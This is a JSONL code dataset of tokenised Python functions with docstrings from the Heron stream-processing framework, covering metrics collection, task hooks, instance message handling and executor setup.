{"signature": "def update_pending_tuples_count(self, count):", "body": "self.update_reduced_metric(self.PENDING_ACKED_COUNT, count)<EOL>", "docstring": "Apply updates to the pending tuples count", "id": "f7483:c3:m5"}
{"signature": "def timeout_tuple(self, stream_id):", "body": "self.update_count(self.TIMEOUT_COUNT, key=stream_id)<EOL>", "docstring": "Apply updates to the timeout count", "id": "f7483:c3:m6"}
{"signature": "def _init_multi_count_metrics(self, pplan_helper):", "body": "<EOL>to_in_init = [self.metrics[i] for i in self.inputs_init<EOL>if i in self.metrics and isinstance(self.metrics[i], MultiCountMetric)]<EOL>for in_stream in pplan_helper.get_my_bolt().inputs:<EOL><INDENT>stream_id = in_stream.stream.id<EOL>global_stream_id = in_stream.stream.component_name + \"<STR_LIT:/>\" + stream_id<EOL>for metric in to_in_init:<EOL><INDENT>metric.add_key(stream_id)<EOL>metric.add_key(global_stream_id)<EOL><DEDENT><DEDENT>to_out_init = [self.metrics[i] for i in self.outputs_init<EOL>if i in self.metrics and isinstance(self.metrics[i], MultiCountMetric)]<EOL>for out_stream in pplan_helper.get_my_bolt().outputs:<EOL><INDENT>stream_id = out_stream.stream.id<EOL>for metric in to_out_init:<EOL><INDENT>metric.add_key(stream_id)<EOL><DEDENT><DEDENT>", "docstring": "Initializes the default values for a necessary set of MultiCountMetrics", "id": "f7483:c4:m1"}
{"signature": "def execute_tuple(self, stream_id, source_component, latency_in_ns):", "body": "self.update_count(self.EXEC_COUNT, key=stream_id)<EOL>self.update_reduced_metric(self.EXEC_LATENCY, latency_in_ns, stream_id)<EOL>self.update_count(self.EXEC_TIME_NS, incr_by=latency_in_ns, key=stream_id)<EOL>global_stream_id = source_component + \"<STR_LIT:/>\" + stream_id<EOL>self.update_count(self.EXEC_COUNT, key=global_stream_id)<EOL>self.update_reduced_metric(self.EXEC_LATENCY, latency_in_ns, global_stream_id)<EOL>self.update_count(self.EXEC_TIME_NS, incr_by=latency_in_ns, key=global_stream_id)<EOL>", "docstring": "Apply updates to the execute metrics", "id": "f7483:c4:m2"}
{"signature": "def deserialize_data_tuple(self, stream_id, source_component, latency_in_ns):", "body": "self.update_count(self.TUPLE_DESERIALIZATION_TIME_NS, incr_by=latency_in_ns, key=stream_id)<EOL>global_stream_id = source_component + \"<STR_LIT:/>\" + stream_id<EOL>self.update_count(self.TUPLE_DESERIALIZATION_TIME_NS, incr_by=latency_in_ns,<EOL>key=global_stream_id)<EOL>", "docstring": "Apply updates to the deserialization metrics", "id": "f7483:c4:m3"}
{"signature": "def acked_tuple(self, stream_id, source_component, latency_in_ns):", "body": "self.update_count(self.ACK_COUNT, key=stream_id)<EOL>self.update_reduced_metric(self.PROCESS_LATENCY, latency_in_ns, stream_id)<EOL>global_stream_id = source_component + '<STR_LIT:/>' + stream_id<EOL>self.update_count(self.ACK_COUNT, key=global_stream_id)<EOL>self.update_reduced_metric(self.PROCESS_LATENCY, latency_in_ns, global_stream_id)<EOL>", "docstring": "Apply updates to the ack metrics", "id": "f7483:c4:m4"}
{"signature": "def failed_tuple(self, stream_id, source_component, latency_in_ns):", "body": "self.update_count(self.FAIL_COUNT, key=stream_id)<EOL>self.update_reduced_metric(self.FAIL_LATENCY, latency_in_ns, stream_id)<EOL>global_stream_id = source_component + '<STR_LIT:/>' + stream_id<EOL>self.update_count(self.FAIL_COUNT, key=global_stream_id)<EOL>self.update_reduced_metric(self.FAIL_LATENCY, latency_in_ns, global_stream_id)<EOL>", "docstring": "Apply updates to the fail metrics", "id": "f7483:c4:m5"}
{"signature": "def register_metric(self, name, metric, time_bucket_in_sec):", "body": "if name in self.metrics_map:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\" % name)<EOL><DEDENT>Log.debug(\"<STR_LIT>\", name, str(time_bucket_in_sec))<EOL>self.metrics_map[name] = metric<EOL>if time_bucket_in_sec in self.time_bucket_in_sec_to_metrics_name:<EOL><INDENT>self.time_bucket_in_sec_to_metrics_name[time_bucket_in_sec].append(name)<EOL><DEDENT>else:<EOL><INDENT>self.time_bucket_in_sec_to_metrics_name[time_bucket_in_sec] = [name]<EOL>self._register_timer_task(time_bucket_in_sec)<EOL><DEDENT>", "docstring": "Registers a given metric\n\n        :param name: name of the metric\n        :param metric: IMetric object to be registered\n        :param time_bucket_in_sec: time interval for update to the metrics manager", "id": "f7483:c5:m1"}
{"signature": "def get_task_id(self):", "body": "return self.task_id<EOL>", "docstring": "Property to get the task id of this component", "id": "f7486:c0:m1"}
{"signature": "def get_component_id(self):", "body": "return self.task_to_component_map.get(self.get_task_id())<EOL>", "docstring": "Property to get the component id of this component", "id": "f7486:c0:m2"}
{"signature": "def get_cluster_config(self):", "body": "return self.config<EOL>", "docstring": "Returns the cluster config for this component\n\n        Note that the returned config is auto-typed map: <str -> any Python object>.", "id": "f7486:c0:m3"}
{"signature": "def get_topology_name(self):", "body": "return str(self.topology.name)<EOL>", "docstring": "Returns the name of the topology", "id": "f7486:c0:m4"}
{"signature": "def register_metric(self, name, metric, time_bucket_in_sec):", "body": "collector = self.get_metrics_collector()<EOL>collector.register_metric(name, metric, time_bucket_in_sec)<EOL>", "docstring": "Registers a new metric to this context", "id": "f7486:c0:m5"}
{"signature": "def get_sources(self, component_id):", "body": "<EOL>StreamId = namedtuple('<STR_LIT>', '<STR_LIT>')<EOL>if component_id in self.inputs:<EOL><INDENT>ret = {}<EOL>for istream in self.inputs.get(component_id):<EOL><INDENT>key = StreamId(id=istream.stream.id, component_name=istream.stream.component_name)<EOL>ret[key] = istream.gtype<EOL><DEDENT>return ret<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Returns the declared inputs to specified component\n\n        :return: map <streamId namedtuple (same structure as protobuf msg) -> gtype>, or\n                 None if not found", "id": "f7486:c0:m6"}
{"signature": "def get_component_tasks(self, component_id):", "body": "ret = []<EOL>for task_id, comp_id in self.task_to_component_map.items():<EOL><INDENT>if comp_id == component_id:<EOL><INDENT>ret.append(task_id)<EOL><DEDENT><DEDENT>return ret<EOL>", "docstring": "Returns the task ids allocated for the given component id", "id": "f7486:c0:m8"}
{"signature": "def add_task_hook(self, task_hook):", "body": "if not isinstance(task_hook, ITaskHook):<EOL><INDENT>raise TypeError(\"<STR_LIT>\"<EOL>% str(type(task_hook)))<EOL><DEDENT>self.task_hooks.append(task_hook)<EOL>", "docstring": "Registers a specified task hook to this context\n\n        :type task_hook: heron.instance.src.python.utils.topology.ITaskHook\n        :param task_hook: Implementation of ITaskHook", "id": "f7486:c0:m9"}
{"signature": "def get_topology_pex_path(self):", "body": "return self.topology_pex_path<EOL>", "docstring": "Returns the topology's pex file path", "id": "f7486:c0:m10"}
{"signature": "def get_metrics_collector(self):", "body": "if self.metrics_collector is None or not isinstance(self.metrics_collector, MetricsCollector):<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>return self.metrics_collector<EOL>", "docstring": "Returns this context's metrics collector", "id": "f7486:c0:m11"}
{"signature": "def invoke_hook_prepare(self):", "body": "for task_hook in self.task_hooks:<EOL><INDENT>task_hook.prepare(self.get_cluster_config(), self)<EOL><DEDENT>", "docstring": "invoke task hooks for after the spout/bolt's initialize() method", "id": "f7486:c0:m15"}
{"signature": "def invoke_hook_cleanup(self):", "body": "for task_hook in self.task_hooks:<EOL><INDENT>task_hook.clean_up()<EOL><DEDENT>", "docstring": "invoke task hooks for just before the spout/bolt's cleanup method", "id": "f7486:c0:m16"}
{"signature": "def invoke_hook_emit(self, values, stream_id, out_tasks):", "body": "if len(self.task_hooks) > <NUM_LIT:0>:<EOL><INDENT>emit_info = EmitInfo(values=values, stream_id=stream_id,<EOL>task_id=self.get_task_id(), out_tasks=out_tasks)<EOL>for task_hook in self.task_hooks:<EOL><INDENT>task_hook.emit(emit_info)<EOL><DEDENT><DEDENT>", "docstring": "invoke task hooks for every time a tuple is emitted in spout/bolt\n\n        :type values: list\n        :param values: values emitted\n        :type stream_id: str\n        :param stream_id: stream id into which tuple is emitted\n        :type out_tasks: list\n        :param out_tasks: list of custom grouping target task id", "id": "f7486:c0:m17"}
{"signature": "def invoke_hook_spout_ack(self, message_id, complete_latency_ns):", "body": "if len(self.task_hooks) > <NUM_LIT:0>:<EOL><INDENT>spout_ack_info = SpoutAckInfo(message_id=message_id,<EOL>spout_task_id=self.get_task_id(),<EOL>complete_latency_ms=complete_latency_ns *<EOL>system_constants.NS_TO_MS)<EOL>for task_hook in self.task_hooks:<EOL><INDENT>task_hook.spout_ack(spout_ack_info)<EOL><DEDENT><DEDENT>", "docstring": "invoke task hooks for every time spout acks a tuple\n\n        :type message_id: str\n        :param message_id: message id to which an acked tuple was anchored\n        :type complete_latency_ns: float\n        :param complete_latency_ns: complete latency in nano seconds", "id": "f7486:c0:m18"}
{"signature": "def invoke_hook_spout_fail(self, message_id, fail_latency_ns):", "body": "if len(self.task_hooks) > <NUM_LIT:0>:<EOL><INDENT>spout_fail_info = SpoutFailInfo(message_id=message_id,<EOL>spout_task_id=self.get_task_id(),<EOL>fail_latency_ms=fail_latency_ns * system_constants.NS_TO_MS)<EOL>for task_hook in self.task_hooks:<EOL><INDENT>task_hook.spout_fail(spout_fail_info)<EOL><DEDENT><DEDENT>", "docstring": "invoke task hooks for every time spout fails a tuple\n\n        :type message_id: str\n        :param message_id: message id to which a failed tuple was anchored\n        :type fail_latency_ns: float\n        :param fail_latency_ns: fail latency in nano seconds", "id": "f7486:c0:m19"}
{"signature": "def invoke_hook_bolt_execute(self, heron_tuple, execute_latency_ns):", "body": "if len(self.task_hooks) > <NUM_LIT:0>:<EOL><INDENT>bolt_execute_info =BoltExecuteInfo(heron_tuple=heron_tuple,<EOL>executing_task_id=self.get_task_id(),<EOL>execute_latency_ms=execute_latency_ns * system_constants.NS_TO_MS)<EOL>for task_hook in self.task_hooks:<EOL><INDENT>task_hook.bolt_execute(bolt_execute_info)<EOL><DEDENT><DEDENT>", "docstring": "invoke task hooks for every time bolt processes a tuple\n\n        :type heron_tuple: HeronTuple\n        :param heron_tuple: tuple that is executed\n        :type execute_latency_ns: float\n        :param execute_latency_ns: execute latency in nano seconds", "id": "f7486:c0:m20"}
{"signature": "def invoke_hook_bolt_ack(self, heron_tuple, process_latency_ns):", "body": "if len(self.task_hooks) > <NUM_LIT:0>:<EOL><INDENT>bolt_ack_info = BoltAckInfo(heron_tuple=heron_tuple,<EOL>acking_task_id=self.get_task_id(),<EOL>process_latency_ms=process_latency_ns * system_constants.NS_TO_MS)<EOL>for task_hook in self.task_hooks:<EOL><INDENT>task_hook.bolt_ack(bolt_ack_info)<EOL><DEDENT><DEDENT>", "docstring": "invoke task hooks for every time bolt acks a tuple\n\n        :type heron_tuple: HeronTuple\n        :param heron_tuple: tuple that is acked\n        :type process_latency_ns: float\n        :param process_latency_ns: process latency in nano seconds", "id": "f7486:c0:m21"}
{"signature": "def invoke_hook_bolt_fail(self, heron_tuple, fail_latency_ns):", "body": "if len(self.task_hooks) > <NUM_LIT:0>:<EOL><INDENT>bolt_fail_info = BoltFailInfo(heron_tuple=heron_tuple,<EOL>failing_task_id=self.get_task_id(),<EOL>fail_latency_ms=fail_latency_ns * system_constants.NS_TO_MS)<EOL>for task_hook in self.task_hooks:<EOL><INDENT>task_hook.bolt_fail(bolt_fail_info)<EOL><DEDENT><DEDENT>", "docstring": "invoke task hooks for every time bolt fails a tuple\n\n        :type heron_tuple: HeronTuple\n        :param heron_tuple: tuple that is failed\n        :type fail_latency_ns: float\n        :param fail_latency_ns: fail latency in nano seconds", "id": "f7486:c0:m22"}
{"signature": "def yaml_config_reader(config_path):", "body": "if not config_path.endswith(\"<STR_LIT>\"):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>with open(config_path, '<STR_LIT:r>') as f:<EOL><INDENT>config = yaml.load(f)<EOL><DEDENT>return config<EOL>", "docstring": "Reads yaml config file and returns auto-typed config_dict", "id": "f7491:m1"}
{"signature": "def handle_new_tuple_set_2(self, hts2):", "body": "if self.my_pplan_helper is None or self.my_instance is None:<EOL><INDENT>Log.error(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>hts = tuple_pb2.HeronTupleSet()<EOL>if hts2.HasField('<STR_LIT>'):<EOL><INDENT>hts.control.CopyFrom(hts2.control)<EOL><DEDENT>else:<EOL><INDENT>hdts = tuple_pb2.HeronDataTupleSet()<EOL>hdts.stream.CopyFrom(hts2.data.stream)<EOL>try:<EOL><INDENT>for trunk in hts2.data.tuples:<EOL><INDENT>added_tuple = hdts.tuples.add()<EOL>added_tuple.ParseFromString(trunk)<EOL><DEDENT><DEDENT>except Exception:<EOL><INDENT>Log.exception('<STR_LIT>')<EOL><DEDENT>hts.data.CopyFrom(hdts)<EOL><DEDENT>self.in_stream.offer(hts)<EOL>if self.my_pplan_helper.is_topology_running():<EOL><INDENT>self.my_instance.py_class.process_incoming_tuples()<EOL><DEDENT><DEDENT>", "docstring": "Called when new HeronTupleSet2 arrives\n           Convert(Assemble) HeronTupleSet2(raw byte array) to HeronTupleSet\n           See more at GitHub PR #1421\n        :param tuple_msg_set: HeronTupleSet2 type", "id": "f7491:c0:m2"}
{"signature": "def handle_initiate_stateful_checkpoint(self, ckptmsg):", "body": "self.in_stream.offer(ckptmsg)<EOL>if self.my_pplan_helper.is_topology_running():<EOL><INDENT>self.my_instance.py_class.process_incoming_tuples()<EOL><DEDENT>", "docstring": "Called when we get InitiateStatefulCheckpoint message\n        :param ckptmsg: InitiateStatefulCheckpoint type", "id": "f7491:c0:m3"}
{"signature": "def handle_start_stateful_processing(self, start_msg):", "body": "Log.info(\"<STR_LIT>\" % start_msg.checkpoint_id)<EOL>self.is_stateful_started = True<EOL>self.start_instance_if_possible()<EOL>", "docstring": "Called when we receive StartInstanceStatefulProcessing message\n        :param start_msg: StartInstanceStatefulProcessing type", "id": "f7491:c0:m4"}
{"signature": "def handle_restore_instance_state(self, restore_msg):", "body": "Log.info(\"<STR_LIT>\" % restore_msg.state.checkpoint_id)<EOL>if self.is_stateful_started:<EOL><INDENT>self.my_instance.py_class.stop()<EOL>self.my_instance.py_class.clear_collector()<EOL>self.is_stateful_started = False<EOL><DEDENT>self.in_stream.clear()<EOL>self.out_stream.clear()<EOL>if self.stateful_state is not None:<EOL><INDENT>self.stateful_state.clear()<EOL><DEDENT>if restore_msg.state.state is not None and restore_msg.state.state:<EOL><INDENT>try:<EOL><INDENT>self.stateful_state = self.serializer.deserialize(restore_msg.state.state)<EOL><DEDENT>except Exception as e:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\" + str(e))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>Log.info(\"<STR_LIT>\")<EOL><DEDENT>if self.stateful_state is None:<EOL><INDENT>self.stateful_state = HashMapState()<EOL><DEDENT>Log.info(\"<STR_LIT>\")<EOL>resp = ckptmgr_pb2.RestoreInstanceStateResponse()<EOL>resp.status.status = common_pb2.StatusCode.Value(\"<STR_LIT:OK>\")<EOL>resp.checkpoint_id = restore_msg.state.checkpoint_id<EOL>self._stmgr_client.send_message(resp)<EOL>", "docstring": "Called when we receive RestoreInstanceStateRequest message\n        :param restore_msg: RestoreInstanceStateRequest type", "id": "f7491:c0:m5"}
{"signature": "def send_buffered_messages(self):", "body": "while not self.out_stream.is_empty() and self._stmgr_client.is_registered:<EOL><INDENT>tuple_set = self.out_stream.poll()<EOL>if isinstance(tuple_set, tuple_pb2.HeronTupleSet):<EOL><INDENT>tuple_set.src_task_id = self.my_pplan_helper.my_task_id<EOL>self.gateway_metrics.update_sent_packet(tuple_set.ByteSize())<EOL><DEDENT>self._stmgr_client.send_message(tuple_set)<EOL><DEDENT>", "docstring": "Send messages in out_stream to the Stream Manager", "id": "f7491:c0:m6"}
{"signature": "def _handle_state_change_msg(self, new_helper):", "body": "assert self.my_pplan_helper is not None<EOL>assert self.my_instance is not None and self.my_instance.py_class is not None<EOL>if self.my_pplan_helper.get_topology_state() != new_helper.get_topology_state():<EOL><INDENT>self.my_pplan_helper = new_helper<EOL>if new_helper.is_topology_running():<EOL><INDENT>if not self.is_instance_started:<EOL><INDENT>self.start_instance_if_possible()<EOL><DEDENT>self.my_instance.py_class.invoke_activate()<EOL><DEDENT>elif new_helper.is_topology_paused():<EOL><INDENT>self.my_instance.py_class.invoke_deactivate()<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\" % new_helper.get_topology_state())<EOL><DEDENT><DEDENT>else:<EOL><INDENT>Log.info(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Called when state change is commanded by stream manager", "id": "f7491:c0:m7"}
{"signature": "def handle_assignment_msg(self, pplan):", "body": "new_helper = PhysicalPlanHelper(pplan, self.instance.instance_id,<EOL>self.topo_pex_file_abs_path)<EOL>if self.my_pplan_helper is not None and(self.my_pplan_helper.my_component_name != new_helper.my_component_name or<EOL>self.my_pplan_helper.my_task_id != new_helper.my_task_id):<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>new_helper.set_topology_context(self.metrics_collector)<EOL>if self.my_pplan_helper is None:<EOL><INDENT>Log.info(\"<STR_LIT>\")<EOL>Log.info(\"<STR_LIT>\")<EOL>self._handle_assignment_msg(new_helper)<EOL><DEDENT>else:<EOL><INDENT>Log.info(\"<STR_LIT>\")<EOL>Log.info(\"<STR_LIT>\",<EOL>self.my_pplan_helper.get_topology_state(), new_helper.get_topology_state())<EOL>self._handle_state_change_msg(new_helper)<EOL><DEDENT>", "docstring": "Called when new NewInstanceAssignmentMessage arrives\n\n        Tells this instance to become either spout/bolt.\n\n        :param pplan: PhysicalPlan proto", "id": "f7491:c0:m8"}
{"signature": "def atomic_write_file(path, content):", "body": "<EOL>tmp_file = get_tmp_filename()<EOL>with open(tmp_file, '<STR_LIT:w>') as f:<EOL><INDENT>f.write(content)<EOL>f.flush()<EOL>os.fsync(f.fileno())<EOL><DEDENT>os.rename(tmp_file, path)<EOL>", "docstring": "file.write(...) is not atomic.\nWe write to a tmp file and then rename to target path since rename is atomic.\nWe do this to avoid the content of file is dirty read/partially read by others.", "id": "f7494:m9"}
{"signature": "def stdout_log_fn(cmd):", "body": "<EOL>return lambda line: Log.info(\"<STR_LIT>\", cmd, line.rstrip('<STR_LIT:\\n>'))<EOL>", "docstring": "Simple function callback that is used to log the streaming output of a subprocess command\n    :param cmd: the name of the command which will be added to the log line\n    :return: None", "id": "f7494:m12"}
{"signature": "def setup(executor):", "body": "<EOL>def signal_handler(signal_to_handle, frame):<EOL><INDENT>Log.info('<STR_LIT>', signal_to_handle)<EOL>executor.stop_state_manager_watches()<EOL>sys.exit(signal_to_handle)<EOL><DEDENT>def cleanup():<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>Log.info('<STR_LIT>')<EOL>for pid in list(executor.processes_to_monitor.keys()):<EOL><INDENT>os.kill(pid, signal.SIGTERM)<EOL><DEDENT>time.sleep(<NUM_LIT:5>)<EOL>os.killpg(<NUM_LIT:0>, signal.SIGTERM)<EOL><DEDENT>shardid = executor.shard<EOL>log.configure(logfile='<STR_LIT>' % shardid)<EOL>pid = os.getpid()<EOL>sid = os.getsid(pid)<EOL>if pid != sid:<EOL><INDENT>Log.info('<STR_LIT>')<EOL>os.setpgrp() <EOL><DEDENT>Log.info('<STR_LIT>')<EOL>signal.signal(signal.SIGTERM, signal_handler)<EOL>Log.info('<STR_LIT>')<EOL>atexit.register(cleanup)<EOL>", "docstring": "Set up log, process and signal handlers", "id": "f7494:m13"}
{"signature": "def start(executor):", "body": "setup(executor)<EOL>executor.start_state_manager_watches()<EOL>executor.start_process_monitor()<EOL>", "docstring": "Set up environment and start executor", "id": "f7494:m14"}
{"signature": "def main():", "body": "<EOL>shell_env = os.environ.copy()<EOL>shell_env[\"<STR_LIT>\"] = os.path.join(os.path.abspath('<STR_LIT:.>'), \"<STR_LIT>\")<EOL>executor = HeronExecutor(sys.argv, shell_env)<EOL>executor.initialize()<EOL>start(executor)<EOL>", "docstring": "Register exit handlers, initialize the executor and run it.", "id": "f7494:m15"}
{"signature": "def __init__(self, process, name, command, attempts=<NUM_LIT:1>):", "body": "self.process = process<EOL>self.pid = process.pid<EOL>self.name = name<EOL>self.command = command<EOL>self.command_str = command.__str__() <EOL>self.attempts = attempts<EOL>", "docstring": "Container for info related to a running process\n:param process: the process POpen object\n:param name: the logical (i.e., unique) name of the process\n:param command: an array of strings comprising the command and it's args\n:param attempts: how many times the command has been run (defaults to 1)", "id": "f7494:c1:m0"}
{"signature": "def init_from_parsed_args(self, parsed_args):", "body": "self.shard = parsed_args.shard<EOL>self.topology_name = parsed_args.topology_name<EOL>self.topology_id = parsed_args.topology_id<EOL>self.topology_defn_file = parsed_args.topology_defn_file<EOL>self.state_manager_connection = parsed_args.state_manager_connection<EOL>self.state_manager_root = parsed_args.state_manager_root<EOL>self.state_manager_config_file = parsed_args.state_manager_config_file<EOL>self.tmaster_binary = parsed_args.tmaster_binary<EOL>self.stmgr_binary = parsed_args.stmgr_binary<EOL>self.metrics_manager_classpath = parsed_args.metrics_manager_classpath<EOL>self.metricscache_manager_classpath = parsed_args.metricscache_manager_classpath<EOL>self.instance_jvm_opts =base64.b64decode(parsed_args.instance_jvm_opts.lstrip('<STR_LIT:\">').<EOL>rstrip('<STR_LIT:\">').replace('<STR_LIT>', '<STR_LIT:=>').replace('<STR_LIT>', '<STR_LIT:=>'))<EOL>self.classpath = parsed_args.classpath<EOL>if is_docker_environment():<EOL><INDENT>self.master_host = os.environ.get('<STR_LIT>') if '<STR_LIT>' in os.environ else socket.gethostname()<EOL><DEDENT>else:<EOL><INDENT>self.master_host = socket.gethostname()<EOL><DEDENT>self.master_port = parsed_args.master_port<EOL>self.tmaster_controller_port = parsed_args.tmaster_controller_port<EOL>self.tmaster_stats_port = parsed_args.tmaster_stats_port<EOL>self.heron_internals_config_file = parsed_args.heron_internals_config_file<EOL>self.override_config_file = parsed_args.override_config_file<EOL>self.component_ram_map =[{x.split('<STR_LIT::>')[<NUM_LIT:0>]:<EOL>int(x.split('<STR_LIT::>')[<NUM_LIT:1>])} for x in parsed_args.component_ram_map.split('<STR_LIT:U+002C>')]<EOL>self.component_ram_map =functools.reduce(lambda x, y: dict(list(x.items()) + list(y.items())), self.component_ram_map)<EOL>self.component_jvm_opts = {}<EOL>component_jvm_opts_in_json =base64.b64decode(parsed_args.component_jvm_opts.<EOL>lstrip('<STR_LIT:\">').rstrip('<STR_LIT:\">').replace('<STR_LIT>', '<STR_LIT:=>').replace('<STR_LIT>', '<STR_LIT:=>'))<EOL>if component_jvm_opts_in_json != \"<STR_LIT>\":<EOL><INDENT>for (k, v) in list(json.loads(component_jvm_opts_in_json).items()):<EOL><INDENT>self.component_jvm_opts[base64.b64decode(k)] = base64.b64decode(v)<EOL><DEDENT><DEDENT>self.pkg_type = parsed_args.pkg_type<EOL>self.topology_binary_file = parsed_args.topology_binary_file<EOL>self.heron_java_home = parsed_args.heron_java_home<EOL>self.shell_port = parsed_args.shell_port<EOL>self.heron_shell_binary = parsed_args.heron_shell_binary<EOL>self.metrics_manager_port = parsed_args.metrics_manager_port<EOL>self.metricscache_manager_master_port = parsed_args.metricscache_manager_master_port<EOL>self.metricscache_manager_stats_port = parsed_args.metricscache_manager_stats_port<EOL>self.cluster = parsed_args.cluster<EOL>self.role = parsed_args.role<EOL>self.environment = parsed_args.environment<EOL>self.instance_classpath = parsed_args.instance_classpath<EOL>self.metrics_sinks_config_file = parsed_args.metrics_sinks_config_file<EOL>self.scheduler_classpath = parsed_args.scheduler_classpath<EOL>self.scheduler_port = parsed_args.scheduler_port<EOL>self.python_instance_binary = parsed_args.python_instance_binary<EOL>self.cpp_instance_binary = parsed_args.cpp_instance_binary<EOL>self.is_stateful_topology = (parsed_args.is_stateful.lower() == '<STR_LIT:true>')<EOL>self.checkpoint_manager_classpath = parsed_args.checkpoint_manager_classpath<EOL>self.checkpoint_manager_port = parsed_args.checkpoint_manager_port<EOL>self.checkpoint_manager_ram = parsed_args.checkpoint_manager_ram<EOL>self.stateful_config_file = parsed_args.stateful_config_file<EOL>self.metricscache_manager_mode = parsed_args.metricscache_manager_modeif parsed_args.metricscache_manager_mode else \"<STR_LIT>\"<EOL>self.health_manager_mode = parsed_args.health_manager_mode<EOL>self.health_manager_classpath = '<STR_LIT>'% (self.scheduler_classpath, parsed_args.health_manager_classpath)<EOL>self.jvm_remote_debugger_ports =parsed_args.jvm_remote_debugger_ports.split(\"<STR_LIT:U+002C>\")if parsed_args.jvm_remote_debugger_ports else None<EOL>", "docstring": "initialize from parsed arguments", "id": "f7494:c2:m0"}
{"signature": "@staticmethod<EOL><INDENT>def parse_args(args):<DEDENT>", "body": "Log.info(\"<STR_LIT>\" % args)<EOL>parser = argparse.ArgumentParser()<EOL>parser.add_argument(\"<STR_LIT>\", type=int, required=True)<EOL>parser.add_argument(\"<STR_LIT>\", required=True)<EOL>parser.add_argument(\"<STR_LIT>\", required=True)<EOL>parser.add_argument(\"<STR_LIT>\", required=True)<EOL>parser.add_argument(\"<STR_LIT>\", required=True)<EOL>parser.add_argument(\"<STR_LIT>\", required=True)<EOL>parser.add_argument(\"<STR_LIT>\", required=True)<EOL>parser.add_argument(\"<STR_LIT>\", required=True)<EOL>parser.add_argument(\"<STR_LIT>\", required=True)<EOL>parser.add_argument(\"<STR_LIT>\", required=True)<EOL>parser.add_argument(\"<STR_LIT>\", required=True)<EOL>parser.add_argument(\"<STR_LIT>\", required=True)<EOL>parser.add_argument(\"<STR_LIT>\", required=True)<EOL>parser.add_argument(\"<STR_LIT>\", required=True)<EOL>parser.add_argument(\"<STR_LIT>\", required=True)<EOL>parser.add_argument(\"<STR_LIT>\", required=True)<EOL>parser.add_argument(\"<STR_LIT>\", required=True)<EOL>parser.add_argument(\"<STR_LIT>\", required=True)<EOL>parser.add_argument(\"<STR_LIT>\", required=True)<EOL>parser.add_argument(\"<STR_LIT>\", required=True)<EOL>parser.add_argument(\"<STR_LIT>\", required=True)<EOL>parser.add_argument(\"<STR_LIT>\", required=True)<EOL>parser.add_argument(\"<STR_LIT>\", required=True)<EOL>parser.add_argument(\"<STR_LIT>\", required=True)<EOL>parser.add_argument(\"<STR_LIT>\", required=True)<EOL>parser.add_argument(\"<STR_LIT>\", required=True)<EOL>parser.add_argument(\"<STR_LIT>\", required=True)<EOL>parser.add_argument(\"<STR_LIT>\", required=True)<EOL>parser.add_argument(\"<STR_LIT>\", required=True)<EOL>parser.add_argument(\"<STR_LIT>\", required=True)<EOL>parser.add_argument(\"<STR_LIT>\", required=True)<EOL>parser.add_argument(\"<STR_LIT>\", required=True)<EOL>parser.add_argument(\"<STR_LIT>\", required=True)<EOL>parser.add_argument(\"<STR_LIT>\", required=True)<EOL>parser.add_argument(\"<STR_LIT>\", required=True)<EOL>parser.add_argument(\"<STR_LIT>\", required=True)<EOL>parser.add_argument(\"<STR_LIT>\", required=True)<EOL>parser.add_argument(\"<STR_LIT>\", required=False)<EOL>parser.add_argument(\"<STR_LIT>\", required=True)<EOL>parser.add_argument(\"<STR_LIT>\", required=True)<EOL>parser.add_argument(\"<STR_LIT>\", required=True)<EOL>parser.add_argument(\"<STR_LIT>\", type=int, required=True)<EOL>parser.add_argument(\"<STR_LIT>\", required=True)<EOL>parser.add_argument(\"<STR_LIT>\", required=True)<EOL>parser.add_argument(\"<STR_LIT>\", required=True)<EOL>parser.add_argument(\"<STR_LIT>\", required=False,<EOL>help=\"<STR_LIT>\")<EOL>parsed_args, unknown_args = parser.parse_known_args(args[<NUM_LIT:1>:])<EOL>if unknown_args:<EOL><INDENT>Log.error('<STR_LIT>' % unknown_args[<NUM_LIT:0>])<EOL>parser.print_help()<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>return parsed_args<EOL>", "docstring": "Uses python argparse to collect positional args", "id": "f7494:c2:m2"}
{"signature": "def initialize(self):", "body": "create_folders = Command('<STR_LIT>' % self.log_dir, self.shell_env)<EOL>self.run_command_or_exit(create_folders)<EOL>chmod_logs_dir = Command('<STR_LIT>' % self.log_dir, self.shell_env)<EOL>self.run_command_or_exit(chmod_logs_dir)<EOL>chmod_x_binaries = [self.tmaster_binary, self.stmgr_binary, self.heron_shell_binary]<EOL>for binary in chmod_x_binaries:<EOL><INDENT>stat_result = os.stat(binary)[stat.ST_MODE]<EOL>if not stat_result & stat.S_IXOTH:<EOL><INDENT>chmod_binary = Command('<STR_LIT>' % binary, self.shell_env)<EOL>self.run_command_or_exit(chmod_binary)<EOL><DEDENT><DEDENT>log_pid_for_process(get_heron_executor_process_name(self.shard), os.getpid())<EOL>", "docstring": "Initialize the environment. Done with a method call outside of the constructor for 2 reasons:\n1. Unit tests probably won't want/need to do this\n2. We don't initialize the logger (also something unit tests don't want) until after the\nconstructor", "id": "f7494:c2:m4"}
